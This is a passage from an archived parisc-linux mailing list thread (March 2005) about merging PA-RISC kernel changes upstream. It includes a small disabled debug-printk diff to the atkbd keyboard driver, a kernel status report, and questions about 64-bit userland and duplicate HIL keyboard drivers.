Xref: news.gmane.org gmane.linux.ports.parisc:22434

On Mon, Mar 14, 2005 at 08:23:48PM +0100, Helge Deller wrote:
> Hi Matthew,
> 
> Thanks a lot for this great work !

No problem!  Could you review this outstanding patch for me ... it looks
like mostly notes to yourself.

diff -urpNX dontdiff linux-2.6.11-bk10/drivers/input/keyboard/atkbd.c parisc-2.6-bk/drivers/input/keyboard/atkbd.c
--- linux-2.6.11-bk10/drivers/input/keyboard/atkbd.c	2005-03-14 06:43:56.115276274 -0700
+++ parisc-2.6-bk/drivers/input/keyboard/atkbd.c	2005-03-14 07:07:27.000000000 -0700
@@ -262,8 +262,8 @@ static irqreturn_t atkbd_interrupt(struc
 	int scroll = 0, hscroll = 0, click = -1;
 	int value;
 
-#ifdef ATKBD_DEBUG
-	printk(KERN_DEBUG "atkbd.c: Received %02x flags %02x\n", data, flags);
+#if 0 || defined(ATKBD_DEBUG)   /* CHANGEME */
+	printk(KERN_ERR "atkbd.c: Received %02x flags %02x\n", data, flags);
 #endif
 
 #if !defined(__i386__) && !defined (__x86_64__)
@@ -402,6 +402,9 @@ static irqreturn_t atkbd_interrupt(struc
 					break;
 			}
 
+#if 0  /* CHANGEME */
+			printk(KERN_ERR "Reporting: %#x, emul=%d\n", code, atkbd->emul);
+#endif
 			atkbd_report_key(&atkbd->dev, regs, atkbd->keycode[code], value);
 	}
 
@@ -516,7 +519,12 @@ static int atkbd_probe(struct atkbd *atk
  * controller may confuse the keyboard need a full reset of the keyboard. On
  * these systems the BIOS also usually doesn't do it for us.
  */

From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State of the kernel
Date: Mon, 14 Mar 2005 20:23:48 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <200503142023.49252.deller@gmx.de>
References: <20050314181215.GV21986@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623696 12994 80.91.229.3 (22 Nov 2014 02:34:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:56 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Mar 2005 19:24:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx066) with SMTP; 14 Mar 2005 20:24:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ED1B7D676;
	Mon, 14 Mar 2005 12:25:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21371-09; Mon, 14 Mar 2005 12:25:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E57D7D678;
	Mon, 14 Mar 2005 12:25:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D530C7D674
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 12:25:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21371-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 12:25:24 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E89437D673
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 12:25:23 -0700 (MST)
Original-Received: (qmail invoked by alias); 14 Mar 2005 19:24:05 -0000
Original-Received: from pD9FE73C8.dip.t-dialin.net (EHLO p100.helgenet.de)
	(217.254.115.200)
	by mail.gmx.net (mp017) with SMTP; 14 Mar 2005 20:24:05 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.8
In-Reply-To: <20050314181215.GV21986@parcelfarce.linux.theplanet.co.uk>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: EopeKm0JTlIv47eQeGhrSVVGU2poZdnr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22435

Hi Matthew,

Thanks a lot for this great work !

Helge

On Monday 14 March 2005 19:12, Matthew Wilcox wrote:
> Those subscribed to the parisc-linux-cvs list may have noticed the huge
> number of merges I've been doing recently.  This has been mostly in aid
> of this year's goal of getting PA-RISC to build out of Linus' tree.  I'm
> at the point where it's reasonable to give a status update now, so here goes:
> 
> 2.6.11-pa0 was approximately 813k of diff against Linus' tree with
> changes everywhere.  We're now down to 396k of diff against 2.6.11-bk10!
> 
> Here's how that breaks down:
> 
>  - 196k of it is sym2 driver changes.  I expect that will be merged
>    upstream shortly.
>  - 49k of it is other scsi changes; 53c700, ncr53c8xx and scsi_transport_spi.
>    Some of this is merged in James' scsi-misc-2.6 tree and other bits are
>    waiting for that tree to be merged to Linus', hopefully before -rc1.
>  - 56k is the ad1889 driver and related changes.  I'm holding off on
>    submitting this until the driver is a bit closer to working on the
>    request of Kyle and Stuart.
>  - 40k is unmerged HIL header files.  I think they were inadvertently omitted;
>    I've just pinged Linus and Vojtech about them
>  - 3k is misc input stuff.
>  - 25k is compat-related code.  I'm talking with Stephen Rothwell about
>    some of it, this is going to be difficult to merge, I think.
>  - 3k is Tulip driver changes.  Grant is handling these.
>  - I've sent another 6k of misc changes to Linus today.
>  - There's another 12k of misc patches in our tree:
>    - some Kconfiggery (I'll take care of this)
>    - NO_IRQ / SERIAL_IRQ_NONE (waiting on Ben Herrenschmidt)
>    - pcmcia (James will take care of this)
>    - FIONREAD (I'll deal with this)
>    - IDE header (I want to review this)
>    - CON_BOOT (needs fixing, I think I see what to do)
>    - OPD bugfix (doesn't need to go upstream)
>    - A small PA PCI patch I want to review
>    - Perf counters update (missed today's submission)
> 
> I think only trivial fixes are needed to Linus' tree to allow
> 712_defconfig to build and boot.  The major merge headaches are the
> CON_BOOT and compat code.  I'm going to stop deluging Linus with patches
> for a week or so and work on making some of the unmergable bits more
> mergable.
> 
> -- 
> "Next the statesmen will invent cheap lies, putting the blame upon 
> the nation that is attacked, and every man will be glad of those
> conscience-soothing falsities, and will diligently study them, and refuse
> to examine any refutations of them; and thus he will by and by convince 
> himself that the war is just, and will thank God for the better sleep 
> he enjoys after this process of grotesque self-deception." -- Mark Twain
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State of the kernel
Date: Mon, 14 Mar 2005 20:44:48 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <200503142044.56629.deller@gmx.de>
References: <20050314181215.GV21986@parcelfarce.linux.theplanet.co.uk>
	<200503142023.49252.deller@gmx.de>
	<20050314194018.GX21986@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623696 13000 80.91.229.3 (22 Nov 2014 02:34:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Mar 2005 19:45:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx025) with SMTP; 14 Mar 2005 20:45:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54B897D683;
	Mon, 14 Mar 2005 12:46:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22744-03; Mon, 14 Mar 2005 12:46:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A95067D67F;
	Mon, 14 Mar 2005 12:46:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 955F87D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 12:46:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22416-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 12:46:37 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id A913C7D67C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Mar 2005 12:46:36 -0700 (MST)
Original-Received: (qmail invoked by alias); 14 Mar 2005 19:45:20 -0000
Original-Received: from pD9FE73C8.dip.t-dialin.net (EHLO p100.helgenet.de)
	(217.254.115.200)
	by mail.gmx.net (mp013) with SMTP; 14 Mar 2005 20:45:20 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.8
In-Reply-To: <20050314194018.GX21986@parcelfarce.linux.theplanet.co.uk>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: v4VeKqV6TlIv47eQeGhrSVVGU2poZdmI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22436

On Monday 14 March 2005 20:40, Matthew Wilcox wrote:
> On Mon, Mar 14, 2005 at 08:23:48PM +0100, Helge Deller wrote:
> No problem!  Could you review this outstanding patch for me ... it looks
> like mostly notes to yourself.

Yeah - just ignore those changes.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State of the kernel
Date: Mon, 14 Mar 2005 20:18:03 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20050314201803.GY21986@parcelfarce.linux.theplanet.co.uk>
References: <20050314181215.GV21986@parcelfarce.linux.theplanet.co.uk> <200503142023.49252.deller@gmx.de> <20050314194018.GX21986@parcelfarce.linux.theplanet.co.uk> <200503142044.56629.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623696 13003 80.91.229.3 (22 Nov 2014 02:34:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:56 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@www.linux.org.uk>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Mar 2005 20:18:15 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (EHLO parcelfarce.linux.theplanet.co.uk) (195.92.249.252)
  by mx0.gmx.net (mx026) with SMTP; 14 Mar 2005 21:18:15 +0100
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim 4.33)
	id 1DAw0p-0005OH-Kq; Mon, 14 Mar 2005 20:18:03 +0000
Content-Disposition: inline
In-Reply-To: <200503142044.56629.deller@gmx.de>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5p1eKhEtTlIv47eQeGhrSVVGU2poZZnA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22437

On Mon, Mar 14, 2005 at 08:44:48PM +0100, Helge Deller wrote:
> On Monday 14 March 2005 20:40, Matthew Wilcox wrote:
> > On Mon, Mar 14, 2005 at 08:23:48PM +0100, Helge Deller wrote:
> > No problem!  Could you review this outstanding patch for me ... it looks
> > like mostly notes to yourself.
> 
> Yeah - just ignore those changes.

Shall I remove them from our CVS or did you want them to stay?

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 bit linux on parisc
Date: Tue, 15 Mar 2005 14:56:27 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200503151956.j2FJuSOU024838@hiauly1.hia.nrc.ca>
References: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0XPeJHz/hU+2001r7DqkosKAAAAQAAAAnDOBZeglf06r+qmkwe6pxQEAAAAA@r5.roburnet.sk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623697 13008 80.91.229.3 (22 Nov 2014 02:34:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: soltes@r5.roburnet.sk (Lubos Soltes)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Mar 2005 19:56:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 15 Mar 2005 20:56:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B27AA7D66E;
	Tue, 15 Mar 2005 12:57:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29564-09; Tue, 15 Mar 2005 12:57:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D1047D670;
	Tue, 15 Mar 2005 12:57:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E04357D657
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Mar 2005 12:57:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29460-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Mar 2005 12:57:45 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 544877D655
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Mar 2005 12:57:45 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2FJuShF024839; Tue, 15 Mar 2005 14:56:29 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2FJuSOU024838;
	Tue, 15 Mar 2005 14:56:28 -0500 (EST)
In-Reply-To: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAABgAAAAAAAAA0XPeJHz/hU+2001r7DqkosKAAAAQAAAAnDOBZeglf06r+qmkwe6pxQEAAAAA@r5.roburnet.sk>
	from "Lubos Soltes" at Mar 15, 2005 08:17:09 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mlFcKg8RTlIv47eQeGhrSVVGU2poZRn7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22438

> >From your answer, I think that nobody works on 64 bit userland.

No, that's not quite true.  However, there is a lot of work needed
on binutils, the kernel, glibc and other tools before a 64-bit userland
will be a reality.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] remove hil_kbd.c?
Date: Tue, 15 Mar 2005 21:55:41 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20050316045541.GA10031@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623697 13010 80.91.229.3 (22 Nov 2014 02:34:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Mar 2005 04:54:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 16 Mar 2005 05:54:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A22687D691;
	Tue, 15 Mar 2005 21:55:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00565-05; Tue, 15 Mar 2005 21:55:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2FD47D68D;
	Tue, 15 Mar 2005 21:55:47 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6E3B7D68B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Mar 2005 21:55:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00321-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Mar 2005 21:55:31 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3A2F27D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Mar 2005 21:55:31 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 095AC298056
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Mar 2005 21:55:43 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10291-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Mar 2005 21:55:41 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B7196298052; Tue, 15 Mar 2005 21:55:41 -0700 (MST)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: bdBcKlpzTlIv47eQeGhrSVVGU2poZdm7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22439

Helge, et al,
I was wondering why we have two hil keyboard files:
	drivers/input/keyboard/hil_kbd.c
	drivers/input/keyboard/hilkbd.c

The header comments suggest Helge is maintaining hilkbd.c
and we should delete the other:
==> hil_kbd.c <==
/*
 * Generic linux-input device driver for keyboard devices
 *
 * Copyright (c) 2001 Brian S. Julin
 * All rights reserved.
...

Is that correct?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] remove hil_kbd.c?
